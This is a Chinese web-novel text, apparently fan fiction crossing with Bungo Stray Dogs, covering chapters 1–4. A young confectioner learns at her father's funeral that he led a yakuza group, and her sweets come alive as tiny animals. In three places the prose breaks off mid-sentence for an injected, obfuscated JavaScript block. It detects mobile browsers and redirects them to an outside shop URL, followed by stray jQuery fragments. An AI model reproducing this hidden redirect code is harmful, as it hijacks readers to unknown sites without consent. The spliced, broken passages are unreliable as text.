《极道大小姐今天也在努力做麻薯》
1. 第 1 章
“哗啦”一声,木制的樟子门被拉开,与之同时传来的还有十分耳熟的“打扰了”,这豪迈又爽朗的大嗓门惊醒了发呆的佐藤缘,她后知后觉地抬起头朝着发出声音的地方看去,是住在隔壁的邻居鱼骨大叔和他的太太夕子女士。
伴随着夕子女士的抱怨声,“你太吵了,不要吓到小缘!”,鱼骨大叔摸了摸头憨厚地道歉,然后她转过头看向佐藤缘,柔和的眉眼带着岁月的细纹,眼角有些许红。
她朝着佐藤缘抬起手,将手上的点心盒郑重递过来,里面是她手作的萩饼,“佐藤师傅最喜欢这个了,上次还说我的红豆煮得比专业店还好……”她的声音说着低了下去,鱼骨大叔站在她的身后,越过来拍了拍佐藤缘的肩膀,那用来扇人毫不费力的巨大巴掌能够完完整整地裹住佐藤缘的肩膀,但此刻拍在她肩膀的力道却很轻柔。
“节哀顺变……”他轻声说着,随后和夕子女士对视一眼,站到了一边。
佐藤缘接过夕子女士手上的点心盒,缓缓将目光移到客厅的正前方,那里摆着父亲佐藤大和的祭坛以及遗像。三人看向那灵堂正中间的遗像,原本悲伤的表情愣了愣,鱼骨大叔更是露出“噗嗤”的声音,随后被夕子太太一巴掌拍在后背。
佐藤缘看着那张照片嘴角也忍不住勾起,佐藤大和的遗像是他亲自选的,是那张戴着夸张的“惠比寿”笑脸面具,露出故意搞怪表情的大头照。祭坛的周围没有菊花,供着的全是各色精巧的和果子:露水般剔透的水羊羹,做成初音葱形的翠绿练切,还有几枚憨态可掬丑萌丑萌的熊猫馒头。
灵堂是按照父亲生前的意愿布置的,刚刚鱼骨大叔他们来之前佐藤缘还在调整达摩灯笼的角度,虽然在这种地方布置这种祭典用到的东西有些奇怪,但“他的笑容能带来好运,所以希望他能够保佑小缘”这么说着强烈要求佐藤缘把这东西摆上了。
“这家伙还是那样啊……”鱼骨大叔感叹着看向佐藤缘,少女原本显得有些呆滞的眼神终于变得灵动起来,她朝着鱼骨大叔点点头,随后两人相视一笑。
说到底,佐藤大和就是个童心很重的老家伙,和他一比,正儿八经才十六岁的佐藤缘看起来成熟得多。
“哟,小缘,我们来了。”没过多久,街角书店的次郎大叔和五金店的山田爷爷两人相伴而来,两人没穿正式黑西装,次郎大叔甚至套着印有“和果子命”的搞怪T恤。他们带来的“奠仪”也很特别:一叠老旧的浮世绘风格点心包装纸样,和一把据说是特制的铜制点心模。那模具的边缘锋利如笔,据说能在糕点上压刻出最细的花瓣纹路。
“你老爹以前老惦记这些,”山田爷爷粗声粗气地说,把工具放在祭坛边,郑重地看着佐藤缘,“现在……给你了。”
吊唁的熟客们似乎忘了场合的严肃。
他们围着祭坛,话题很快从“佐藤师傅是个好人”跳到了具体的事上:
“他教我的那招防止羊羹开裂的秘诀,可帮大忙了!”
“上次祭典卖的‘萤火’金平糖,配方到底加没加薄荷?”
“说起来,他欠我的那场将棋,这下永远没法兑现啦……”
低语声、怀念的笑声、偶尔的叹息,混合着线香清冽的气息,在充满甜味的空气中浮动。佐藤缘坐在一边听着这些老邻居们的聊天,脸上的表情也逐渐释怀。
她去读书的那段时间,父亲还是老样子呢。
“叮咚——”
某位戴着细边眼镜,留着一头金色中长发的年轻人拖着一个大箱子走到门口,看向坐在丧主位子上的佐藤缘,“您好,我是应邀而来……”
是佐藤大和生前预约的和尚师傅。
据说是游戏里的网友,“是个很厉害的人呢。”佐藤大和这么说着,熟练地在对方的网站上下了订单。
佐藤缘看着那打扮潮流的年轻人,嘴角抽了抽,还是给对方让了位置。
那年轻人在众人注视下利落地在祭坛对面设好小经台,拿出平板电脑,调出经文页面,然后——
“南无——”
清朗的、带着奇妙现代节奏感的诵经声响起。他一边念,一边有规律地敲击面前的铃和木鱼。声音叮叮咚咚,竟莫名和谐。
只是在念到某段时,他甚至推了推眼镜,凑近屏幕确认了一下。
“这和尚……挺时髦。”鱼骨大叔在佐藤缘耳边悄声说,她差点没忍住嘴角,只能勉强捂住嘴巴轻咳了两声。
诵经声像一层透明的薄膜,将整个空间包裹起来。在这奇特的背景音里,夕子女士又偷偷抹了下眼角,山田爷爷盯着那些熊猫馒头,喉结动了动,而佐藤缘则是低着头看着自己的袖口,仿佛在放空自己。
“回向完毕。”年轻和尚合上平板,干脆利落地起身,对着佐藤缘合十一礼。然后他瞥见祭坛上的熊猫馒头,似乎停顿了半秒,嘴角抽动了一下,仿佛是要笑出声来又尽力勉强自己才好不容易维持住自己的专业表情。
佐藤缘朝着年轻和尚回礼道谢,对方转身收拾他的平板电脑经台,只是还没收拾完毕,拉门处便传来一阵不同寻常的沉重脚步声,以及衣料摩擦的特殊悉索声。
“那个、那个……”鱼骨大叔身高腿长,他率先看到了来人,随后马上转过头看向佐藤缘,眼睛瞪得老大,嘴里不住地发出似是惊讶又似是感慨的声音。
佐藤缘疑惑地看着他,只是还没等对方缓过来说话,对方就已经到了。
伴随着某种无形的“气”,室内的气氛变得一片沉寂,佐藤缘朝着来人看去,映入眼帘的首先是一截深色渐变至绯红的和服袖摆,其上绣着金丝蝴蝶与枫叶纹路,在达摩灯笼的暖光下流淌着沉静而奢华的光泽。
来人是一位身形高挑,有着与和服同款艳丽绯红发丝的女士,她手持一柄合拢的蝙蝠扇,面容被低垂的眼睫遮去大半情绪,只留下一种遥远而悲悯的美。仅仅是站在那里,便自然成为空间的中心,连祭坛上那些色彩鲜艳的和果子,似乎都在这份古典的威仪前沉淀了稍许。
那位女士的目光轻轻落在祭坛上,在那张惠比寿面具照片和琳琅满目的点心上停留了片刻。“中野,”她微微侧过头,朝着身后叫了一声,顺着那位女士的目光看去,佐藤缘这才注意到她的身后还站着一个身影。
那是一个身形……非常精致的美少年?
有着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081340|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一头赭色长发的少年,穿着剪裁利落的黑色西装,头上带着一顶同款的黑色礼帽,钴蓝色的眼眸在帽檐下迅速扫过室内,锐利如刀锋出鞘一瞬,随即又收敛为沉稳的静默。听到红发女士的呼唤,他很快上前,从身上取出三支线香递过去,随即又退回原处。
红发女士合掌闭目,时间不长,但姿态完美得无可挑剔。而那少年则是沉默地站在她侧后方,帽檐下的视线似乎也短暂地落在了那些点心上,尤其是在那盘造型略显笨拙却可爱的熊猫馒头上多停了一瞬,嘴角的线条似乎极其微弱地柔和了零点几毫米。
礼毕,那位红发女士并未立刻转向佐藤缘,而是又看了身边的少年一眼。那少年这才上前一步,将手中提着的漆木提盒轻轻放在祭坛供品的一侧。他没有说话,只是动作带着一种与外表略显反差的慎重。
提盒打开,里面并非金银俗物,而是数卷用古法染制的、颜色极为雅致的锦缎,以及一套看似普通、实则质地非凡的黑色漆器点心盛具,边缘有暗金描画的流云纹。
将提盒打开后,他才转向佐藤缘,取下帽子按在胸前,非常正式地欠身行礼。这个动作由他做来,毫无谦卑之感,反而充满了某种骑士道般的郑重。
“节哀。”他的声音比外表看起来更显低沉,简短有力,像砾石敲击。
佐藤缘有些恍惚地看着两人向父亲上香吊唁,她的大脑还有些浆糊,面对那少年的安慰像是条件反射地躬身回礼。
红发女子这时才将目光真正落到佐藤缘的身上,看着她那还有些懵懂的表情时,眼里透过一丝莫名的怜悯,“听闻你是佐藤师傅的传承者。”她这么说着,声音柔和却又带着某种凌冽的寒意,“望你珍重技艺,亦珍重自身。我家那个不成器的首领,可是很期待能够有继承佐藤师傅手艺的味道呢。”
“这世间,纯粹创造‘美’与‘甜’的手,总是值得守护的。”
说罢,她再次向祭坛方向微微欠身,便转身,和服下摆迤逦过榻榻米,向门外走去。那少年亦步亦趋,在拉开门、让红叶先行的瞬间,他回头最后看了一眼室内,目光掠过略显局促的邻居们,掠过满室甜香,最终,极快地在佐藤缘袖口那和熊猫面点的竹子上同款颜色的抹茶粉渍停留了半秒。
门合上了。
那股无形的、来自异世界的“气”也随之消散,和室重新被线香与红豆馅的熟悉气息填满。但空气里似乎还残留着某种张力。
足足过了好几秒,夕子女士才长长地、无声地舒了一口气。
“我的天……那是……电视里才会看到的人吧?”
像是“暂停键”被关停,邻居们这才缓过神来,开始议论纷纷。
佐藤缘的大脑也好像终于启动了,她深呼吸一口气,回首看向灵堂中的遗像,用只有自己才能听到的声音喃喃,“我的老爹啊……”她轻声感慨着,“你到底还有多少秘密是我不知道的啊?!”
很多,非常多,多到佐藤缘现在想要把老爹的骨灰坛子从墓地里挖出来。
她看着穿着一众穿着黑西装并排跪坐在自己面前的大汉们,面无表情。
实际上头顶都快气得冒烟了。
2. 第 2 章
“万分抱歉,大小姐!”跪坐在首位的黑西装大汉看着佐藤缘面无表情的样子再度低下头,声音大到像是能够震穿整座小屋。
在他低下头的同时,身后那五个大汉也跟着再度低下头,
“万分抱歉!”X5
“……抱歉,我还有点没反应过来……”被一众大汉的道歉声震慑到的佐藤缘条件发射往后仰身,等到好不容易平复下来,看着那跪坐在面前的大汉用隐隐期冀的眼神看着自己时感觉太阳穴有着隐隐的胀痛。
“……那个……您是叫……”佐藤缘深呼吸了好几口气,脑子里还惦记着放在灶台上正在蒸着的红豆馅,心想着尽快把面前这群人打发了。
“失礼了,我还没有向大小姐正式介绍过自己的身份,鄙人胜田,胜田耀,隶属于佐藤大哥‘刃樱会’旗下‘胜田组’的一员。”
“而佐藤大哥所在的‘刃樱会’组织的更上一级,则是属于本部设置在东京的‘银龙会’。”
听到胜田耀的自我介绍,佐藤缘感觉更晕了,她瞪大了眼睛看着对方,妄图在脑子里将对方的话整理成自己能够理解的意思。
看到佐藤缘瞪着眼睛和自己对视,胜田耀心里感慨一声果然不愧是大哥的女儿,即使两人毫无血缘关系也不影响对方在初次见到极·道·分·子时的表现,此等胆魄,让他不禁回想起了过去声名赫赫的‘刃樱之豪’!
“……”
并不知道和自己面对面的胜田耀心里在感慨些什么的佐藤缘放空了一会儿,等回过神来的时候发现了对方眼里的赞赏。
不是,什么东西啊?!
你为什么用这种眼神看我啊?!
你在脑补些什么乱七八糟的东西啊 ?
佐藤缘深呼吸一口气,伸手挡在对方眼前。
“那个!”她平日里软糯和气的语气突然变得郑重严肃,“老爹从来没和我说过这种事情,而且他都已经过世了,你们这些人突然来到我家说什么刃樱会啊这些事情,我真的……”
佐藤缘还没说完,胜田耀突然打断了她,“抱歉,我知道一时之间大小姐恐怕无法接受,但事实上佐藤大哥的确是刃樱会的话事人,而且刃樱会的牌子……”胜田耀示意佐藤缘抬头看被挂在客室顶部的招牌。
佐藤缘顺着对方的眼神看去,“那明明是我们家店铺的招牌啊,听说当时还请了很有名的书法家写的呢。”
“咳咳,请看看背面。”
佐藤缘站起身,踮起脚尖将招牌取下翻到背面,两眼一黑。
好家伙!
前面是‘樱田屋’的名字,背面却有着一张泛黄的纸张上面杀气腾腾地写着“刃樱会”,她还特地看了下右下角的时间标注,两眼又是一黑。
“都已经百年传承了?!”
“是的,‘刃樱会’起源于江户时代,即使和东京的某些大组织传承相比也毫不逊色,当然,组织规模肯定是不及那边的……”似乎并没有看出佐藤缘的两眼一黑,胜田耀在向对方科普己方历史时还带着相当的自豪感。
“……假的吧。”
听到胜田耀的介绍,看着面前杀气腾腾的组织名字,佐藤缘满脑子都是这几个字。
啊,她的老爹!
她那个童心不改的搞怪老爹这是在搞什么啊?!
难道这也是恶作剧的一部分吗?!
即使死了也还是要来寻开心?!
“大小姐,话可不能这么说,”胜田耀在看到佐藤缘一脸微死的表情终于反应过来对方似乎并不是接受能力太强,而是根本拒绝接受。
“虽然佐藤大哥在近乎隐退的这段时间平和了不少,但年轻时也是在组织里创下过赫赫威名的男人,‘刃樱之豪’就是道上对他的敬称。”
好家伙,还是个有名人!
听到胜田耀的话,佐藤缘嘴角又是一抽。
“……”
佐藤缘感觉现在大脑已经思考不过来了,再思考下去脑浆都要沸腾了,君不见她已经闻到焦味了吗?!
诶?
焦味?!
啊!她的红豆馅!
忽然想起来炉子上还蒸着她一大早才准备好的红豆,佐藤缘骤然起身,没等胜田耀反应过来就伸出一只手挡住对方,“抱歉,其他的事情等会儿再说,我还有点事要处理。”说着她完全没等对方回答就急匆匆地转身快步走向厨房,那身影细看起来竟然还带了些仓皇之意。
完全没想过自己竟然会被一个年仅16岁的少女喝止的胜田耀闭上了嘴,看着佐藤缘的背影好一会儿,这才转过头小声对着身后的几个小弟感慨,“不愧是佐藤大哥的女儿,刚刚那当机立断的喝止即使是我也无法抗拒,大小姐果然有魄力。”
身后那群小弟们面面相觑,过了还一会儿才低声附和,
“是啊是啊……”
“果然不愧是佐藤大哥的女儿……”
“刚刚那声呵斥一出我都差点要拜下去了呢……”
听到最后一个人的感叹,在场的几人一顿,目光无奈地看向对方。
哪怕大家心知肚明这时候要拍大小姐马屁,但你这未免也太过了吧?
“啊……毁了啊……”
佐藤缘赶到厨房的时候已经来不及了,虽说蒸出来的红豆上层还可以使用,但因为底部已经烧焦的关系,连带着上层的红豆也染上了那种味道,这种味道的红豆哪怕处理好了也还是会带着一种无法掩饰的焦炭味道,对于味觉嗅觉灵敏的人来说根本无法忽视。
好不容易早起准备的一锅红豆毁了,偏偏佐藤缘感觉自己还生不起气来。
比起这锅无法贩卖的红豆,她整个人还处在胜田耀的拜访中无法回神。
那个搞怪的老爹是极道成员?
不会吧?!
是开玩笑的吧?!
那个人!
明明只是个做点心的手艺人而已!
佐藤缘心中呐喊许久,但鼻子里传来的红豆的焦香味还是很快唤醒了她的理智。
哪怕老爹再怎么离谱也不会用这种事情来搞恶作剧。
而且他人都已经过世了……
佐藤缘忽然回想起佐藤大和临死前在医院里对她说的那些话,彼时的佐藤大和满脸沧桑,整个人躺在病床上完全看不出往日的活力,用来揉面点的健壮手臂也变成了皮包骨的骷髅样,脸颊凹陷,即使讲话也需要大喘气。
“小缘啊,真是抱歉。”
“今后……一切都要拜托你了啊……”
那时候的佐藤缘只以为佐藤大和是在心疼16岁就要继承家业的自己,还柔声安慰对方,信誓旦旦地表示自己一定会将樱田屋发扬光大,成为能够传承百年的老点心铺。
还记得那时候佐藤大和听到佐藤缘的话愣了一下,然后叹着气摇头,她还以为对方是因为不相信仅凭自己的力量能够将樱田屋发扬光大,却没想到原来两人说的牛头不对马嘴。
“原来……老爹那个时候……是这个意思啊……”
她轻声呢喃着,手上无意识地搅和着盆子里的红豆,将其导入细密的绢布筛网,用刮板反复按压,让最细腻的豆沙如流沙般滤下,整个过程只有刮板擦拭着筛网的声音,透出一种安详的静谧。
取出早已在冷水中浸泡许久的寒天,放入小锅后点起小火,看着它如冰山般缓缓融化,最终化为一锅无色且微微粘稠的清液。然后取出细密的红豆沙,将它融入熬煮过的寒天液,火焰还是那样小小的弱火,然后用木铲沿着锅底同一方向,匀速不间断地画圈搅拌。随着水分蒸发,木铲划过的痕迹越发明显,表面泛起的光泽也从水润转为厚实的蜜蜡般的光泽。
“时间正好。”
佐藤缘拿起模具熟练地刷上一层食用油,紧接着将尚且具有流动性的混合物倒入矩形模具中,迅速将其倾入预先备好的矩形羊羹模具中。直到将条件反射地将模具放入一旁早已经准备好的通风架子上时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081341|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佐藤缘的意识才回复过来,她看着手上已经初具模型的羊羹,忍不住摇摇头。
哪怕后续做得再好看,脱模的羊羹还是会带着红豆煮出的焦味,完全不能用来作为商品呢。
只能自己笑纳了。
只是……
看着一大块模具中的羊羹,佐藤缘回忆了一下自己使用了多少白糖,这点分量吃下去的话……自己到时候身体里流淌的就不是血液而是深色的蜜糖了吧!
“啊啊啊!等等客厅还有人!”
叹着气将焦糖味的羊羹眼不见为净地塞进通风架子上之后,佐藤缘这才回想起被自己晾在会客室的一众大汉们。
她捂住脸发出无声的尖锐爆鸣,一边迅速小跑着回了客厅。
“抱歉抱歉!我忘记你们还在了,真是太失礼了!”
拉开被合起的障子门,佐藤缘疯狂向客厅里的众人道歉。
“……这是大小姐对我等的考量,请不必在意!”听到佐藤缘的道歉,等待许久的胜田耀平心静气,他沉声道,“不知我等的表现是否让大小姐满意?”
“……比起这些……”
佐藤缘抬起头,看着完全不像传说中那样暴躁的胜田耀等人,没忍住问出了自己的疑惑。
“我假设,胜田先生应该知道我在今天之前,完全都不知道老爹的身份,不知道也根本没想过成为极道组织的一员,所以,胜田先生,你们这些人的来意,到底是什么?”
除非是走投无路的边缘人,现如今根本没有普通的正常人会愿意成为极道组织的成员。
这已经不是混乱的几十年前,自从“暴力团排除条例”问世以来,政府旨在通过经济和社会孤立直接打击极道成员并且不断压缩暴力团的生存空间。无论是医疗服务、日常生活还是家庭成员都会遭到歧视,甚至有一部分的商家会张贴“暴力团禁止入内”告示,使其被普通社会生活圈排斥。
哪怕是想要脱离极道的人员,法律也设定了明确的“观察期”,并非退出后就能立即恢复正常身份。根据《暴力团排除条例》中的 “脱离五年”条款,即使正式退出组织,在之后5年内仍将被警方视为“暴力团关联者”,在此期间同样无法享有租房、开设银行账户等公民权利。设定此条款主要是为了防止成员假借脱退之名,继续为组织秘密牟利。
总的来说,没有被认定为“极道分子”也没有被警察登录在案的佐藤缘,根本不可能会选择那样的生活。
很明显,从未告知过她自己曾经身份的老爹佐藤大和也并不期望女儿成为极道的一员,那么这样一来,胜田耀等人的来意就相当可疑了。
他们到底是有着怎样的目的,才会特意来拜访她这个对于极道一问三不知的小白呢?
“虽然我等很清楚佐藤大哥的想法,也很明白大小姐的意愿,组里也同样在尝试着努力洗白,甚至和条子的关系也在改善之中,但这些都是后话了,现如今的问题是,再过不久就是‘银龙会’头目的生辰,‘纳金’的时候要到了。”胜田耀说着令佐藤缘有些不怎么明白的行话,只是脸上严肃的表情令她心里一紧。
“原本的话,‘纳金’是由佐藤大哥领着我等缴纳的会费一并奉上,由于我等平日里相当低调,在组里声望也不明显,‘银龙会’的会长也并不在意我们这些小小的组织成员,但前几日佐藤大哥的葬礼上,出席丧礼的来宾引起了那些人的注意。”
胜田耀满脸苦涩,佐藤缘听到对方的话,没来由地想起最后的不速之客。
“难道是那两个人……”
“虽然不知道佐藤大哥何时与对方相识,但那两位可是现如今大名鼎鼎的港口mafia的高层领导。”
“‘重力操作使’中原中也,以及五大干部之一的尾崎红叶,这两人在道上的名声可是能止小儿夜啼的。”
“大小姐,‘银龙会’的会长此次生辰特意点了‘刃樱会’的名。”
“你是不得不出席了。”
3. 第 3 章
“……也就是说,是因为那天特地来吊唁的两个人的身份,让银龙会的老大对我起了兴趣,才会在这次的生辰庆典上特地点了我的名字?”佐藤缘咽了咽口水,小心翼翼地总结一句,换来了胜田耀表情沉重的点头。
得到了对方的确认,佐藤缘有些欲哭无泪,搞了半天原来还是老爹的锅。
怎么回事,她就不能做一个普普通通的小点心师傅,然后按部就班地完成自己的梦想,将老爹的店铺发扬光大吗?
这个极道继承人的身份是怎么回事?
“能不能不参加?”
她怀揣着弱小的希望问了一句,换来对方的警告。
“这是绝对不行的,大小姐!”
“极道最看重的就是道义和忠诚,同样的,还有面子与利益。”胜田耀看着面前还有些懵懂的少女,叹了口气。
“作为上级组织的领头者,整个东京能够与其他几大势力分庭抗礼的银龙会的老大,松本老爹面对家人哪怕再怎么和蔼可亲,一旦被忤逆,松本老爹的面子也就挂不住了。”
“对内也许可以一笑而过,但外界一旦知道松本老爹居然有无法掌控的下级组织,还是一个未成年的小女孩儿,松本老爹对外的形象就一落千丈了。”
“我们极道生存至今靠得是威慑,松本老爹挂不住面子,等于银龙会被人嘲笑,其他势力也会蠢蠢欲动尝试着挑衅松本老爹的权威,到那个时候,就不是大小姐您一个人的事情了。”
“无论是大小姐的‘刃樱会’,还是属于你下级的‘胜田组’都会一并被清理。”
“所以,我是没有其他的选择了,对吗?”听到胜田耀的话,佐藤缘嘴里泛起苦味。
虽然尚未成年,但她也明白胜田耀的潜台词,甚至明白了对方来到这里的目的。
嘴上说着喊着“大小姐”,实际上却根本没有给她拒绝的权利。
他们来到这里,只是例行通知,好让她死个明白。
“礼金以及礼物我们都已经提前准备好,其实按照原本的计划,应该是由佐藤大哥作为领头向松本老爹奉上礼物,同时以自己的身体为由‘退休’,这样一来也能顺理成章退出组织,同样也不会影响大小姐的未来,但谁知……”
人算不如天算,胜田耀满脸叹息。
“也就是说,其实老爹已经安排好了一切,只是运气太差。”
听到胜田耀的话,佐藤缘心里总算有了点安慰。
佐藤大和不是不做人,他其实早就想好了退路,听胜田耀的刚刚的一席话,他甚至也安排了下级组织的那几个人未来的生活,所以佐藤缘才会根本不知道极道的事情。
因为,如果计划顺利的话,他在离世之时就真的仅仅是一个普通的点心师傅。
佐藤缘根本不会知道他那不堪的过去。
只是时运不济,他的身体没能够撑到结束这一切,而这一切的后果,只能由佐藤缘来承担了。
“……大致情况我已经明白了,总之,银龙会的会长生辰当天,我必须作为‘刃樱会’的继承人,代替老爹出席是吧?”再怎么拒绝也已经无济于事,为今之计是要好好规划自己接下来该怎么办。
佐藤缘深呼吸了一口气,强迫自己冷静下来。
总而言之,老爹已经死了,留给猝不及防的自己一个烂摊子,但那毕竟是老爹,把毫无血缘关系的自己从街头捡回来,让自己免于流浪的温柔老爹。
说实话,别说老爹是个亟待退役的极道分子,哪怕他现在还做着极道,难道她还能拒绝吗?
胜田耀也熟谙打一棒子给个甜枣的道理,说完了让佐藤缘最抗拒的事情后,又很快给了一个好消息。
“其实松本老爹那边对于大哥的退会也隐隐有默许的意思,毕竟‘刃樱会’实际上的成员目前只有佐藤大哥一人,而他也早已经退出拼杀很多年,连带着原先依附在‘刃樱会’旗下的组织大多也另寻他路,到最后就只剩下了我们‘胜田组’一个。”
胜田耀说着回过头看了眼身后四个只会跟着默默点头的兄弟,有些心累地叹气,“毕竟现在极道也不好做了,该转型的早早都转型了,过去的忠诚与道义在现在的那些人眼中根本不值一提,利益才是最重要的。”
“面对那群人,我们这些死守着旧规矩的人唯一能拿得出手的就只有拼杀的劲头。”
但现在这个社会,可能你都不知道要拼杀的目标到底是谁。
佐藤缘看着胜田耀脸上的失落,默默在心里补充上一句。
她虽然年纪小,但是经历得多,更何况很小年级就已经在外求学,遭遇种种也都一言难尽,现在回想起来,佐藤大和特意让她小小年纪就在外求学,一方面是因为她正好有机会到远月学园进修自己的手艺,另一方面也是为了让她避开自己那些糟心事吧。
“总而言之,大小姐如今需要应付的,就是下个月初,松本老爹的生日会了。”
听了胜田耀的话,看着对方信誓旦旦地表示,“不会让大小姐一个人遭受刁难所以会一同跟着出席”,佐藤缘意思意思还是信了。
“那么,今日我等就先告退了。”胜田耀给佐藤缘扔下个大雷后知晓她需要更多时间平复心情,说完就带着几个只报上了名字后就什么话都没说的NPC小弟离开,只留下佐藤缘在会客室里发呆。
“啊啊啊!老爹到底是在搞什么呀!”
佐藤缘仰面躺在榻榻米上,伸手朝着空气中胡乱打拳,发泄了一通才缓过神来。
她揉了揉微红的眼眶,转头朝着摆设的佛昙看去,刚刚摆上的佐藤大和的照片色彩鲜明,搞怪的笑脸看起来仿如昨日,望着那张照片,她忍不住扑哧一声,很快又气鼓鼓地朝着那张照片竖起手指,摆出极不文雅的手势。
发泄了一通后就感觉浑身乏力,连肚子也咕咕叫了起来。
这几天都在处理佐藤大和的身后事,自己的事情是一点没来得及处理。
佐藤缘摸了摸提出抗议的肚子,走进厨房打开冰箱,找不到半点食物的痕迹。
“……这几天都是夕子太太他们送食物过来的……”
看了眼时间,早已错过了饭点,这种时候去找鱼骨大叔和夕子太太也不合适,佐藤缘绞尽脑汁想了想,终于想起来被她摆在架子上阴干的焦味羊羹。
羊羹,也可以叫做羊羹果冻。
相传是在镰仓时代至室町时代佛教的禅宗传入霓虹,由于明治维新之前,多数本国的佛教僧侣为素食,清规戒律不许食荤,故而他们用红豆、面粉或绿豆粉混合,蒸制成类似羊肉羹的条状物,以模拟其形状和口感。这成为了最早的“蒸羊羹”,它依然是含少量水分的糕点。
从16世纪末到17世纪,羊羹经过改良,在豆沙中加入寒天,冷却后会凝固成美丽光滑、富有弹性的固体。这就是如今最常见的、含水量极低的“炼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081342|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
羊羹”。由于炼羊羹的糖度很高,在真空包装下妥善保存的话,大多可以在常温下保存超过一年以上,使羊羹也当作紧急时的非常食粮。
在饿肚子的现在,吃一块糖分含量极高的羊羹无疑是对抗低血糖的最好帮手。
佐藤缘取下模具,取出一小块长条形的羊羹,那块羊羹安静地躺在青瓷小碟里,色泽是诱人的深栗红,表面光滑如上了一层清漆,在光线下泛着温润的光泽。就地取材拿出一根牙签轻轻切开,截面紧密细腻,没有一丝气孔,像最上等的丝绒。
“光看外表而言,是成功的。”
她这么想着,将甜蜜豆沙香掩盖住那一丝焦味的羊羹送入嘴中。
如同春雪在掌心融化,□□的外表顺从地化为极致绵密的豆沙。甜味在那一刻温柔地包裹上来,不是那种乍然能够令脑袋发蒙的浮夸的甜,而是经过时间熬煮、沉静而醇厚的甘美,伴随着饱满的红豆香气,瞬间充盈了整个口腔。
口感顺滑丰润,寒天的弹与豆沙的沙达成绝妙平衡。
毫无疑问,光从口感而言,也是一份极其成功的作品。
但在味觉舞台的幕布即将落下的最后一瞬,在喉咙深处、舌根最敏感的角落,一缕极其细微的异样感出现了,就如同完美和谐的甜蜜交响乐中,似乎混进了一个不和谐的音符。
佐藤缘心下有感,是那丝焦味。
哪怕它的存在微弱到如果心神稍懈,便会被那宏大的甘美彻底吞没。
但它确确实实存在,并且在甜美的余韵中孜孜不倦地彰显着自己的存在感。
“虽然说不定有的客人反而会很喜欢这种余韵,但是对我来说,果然还是不合格啊。”
佐藤缘叹了口气,将平日对自己而言甜度爆表的羊羹大块塞进嘴里,失去了细细品味的念头。
用点心提升了自己的血糖浓度之后,佐藤缘并不打算再出门觅食,只是她看着架子上的一大盘羊羹开始犯起了难。
这种半失败品也不好直接售卖,而且她还打算多休息几天,不打算这么快就把点心铺重新开起来,但让她这几天光是吃这些东西也有些过于勉强自己……
“也不能当回礼啊……”
总的来说,这是只有“自己人”才能吃的东西。
“咩?”
还没等佐藤缘想出个办法来,她的身后就传来了奇怪的声音。
声音细弱,带着甜食般的绵软颤音,从工作台角落的储物架方向传来。
最初映入眼帘的,是层架阴影里,两点格外润泽的、反射着微光的“豆沙色”,正怯生生地朝着她看。
“难不成……”
她屏住呼吸,轻轻走近半步。
看清了。
原本放羊羹的空格位置,正蜷着一只“小动物”。
它的身体是那种半透明的深琥珀色,保持着羊羹光滑紧实的质地,但整体的形状却不再是规整的方块,身体边缘的线条圆润软化,头部隆起了两个小巧的三角耳朵轮廓,令人一眼就认出了羊的模样。
“啊……果然。”
她静静地和那只变成了“小羊”的羊羹对视,只看得对方颤了一下,然后,非常非常缓慢地,将下巴搁在了前肢的位置。
那是羊羹表面一个极其微小的凹陷,此刻却恰好成了最自然不过的姿势。
它就这么待在那里,成了一尊静谧的、由红豆制成的守护甜点精灵。
4. 第 4 章
虽然弱小又没什么存在感,但佐藤缘的的确确有着特殊的能力。
从某种意义上而言,她是一个异能力者(?)
但这能力不能说是鸡肋,只能说是一无是处。
她的能力是无法自控的,只有在做点心的时候才会起效,而这能力就是随机将自己制作的点心模拟成一种奇妙的动物形态。
但这能力什么时候发动,如何发动,是否发动她都完全没办法控制,而那些“点心动物”除非是自己发出响动,佐藤缘也根本不知道对方变成了小动物。
而这些“小动物”的存在也并非永久,无论是点心载体本身遭到破坏,或者是凭依的载体变质,那些“小动物”们就会消失,而点心本身也会变回原来的样子。
“除了可爱爆表之外,根本没有任何作用。”
佐藤缘在经过一系列对于这些点心动物来说可以算是惨无人道的实验过后,做出了如下结论。
但佐藤缘看着这只颤颤巍巍的小羊还是柔和了眼神。
她伸出手捧起这只看不出表情的小羊羹,感受着对方凝实的琼脂脚丫踩在自己掌心,又忍不住凑上去闻了一下,被吸入的是那种红豆甜蜜又略带一丝焦苦味的香气,闻起来令人莫名安心。
“今晚,也许能睡个好觉?”
她捧着那只小羊羹,脑子里突然闪过这么一个念头。
的确是睡了个好觉。
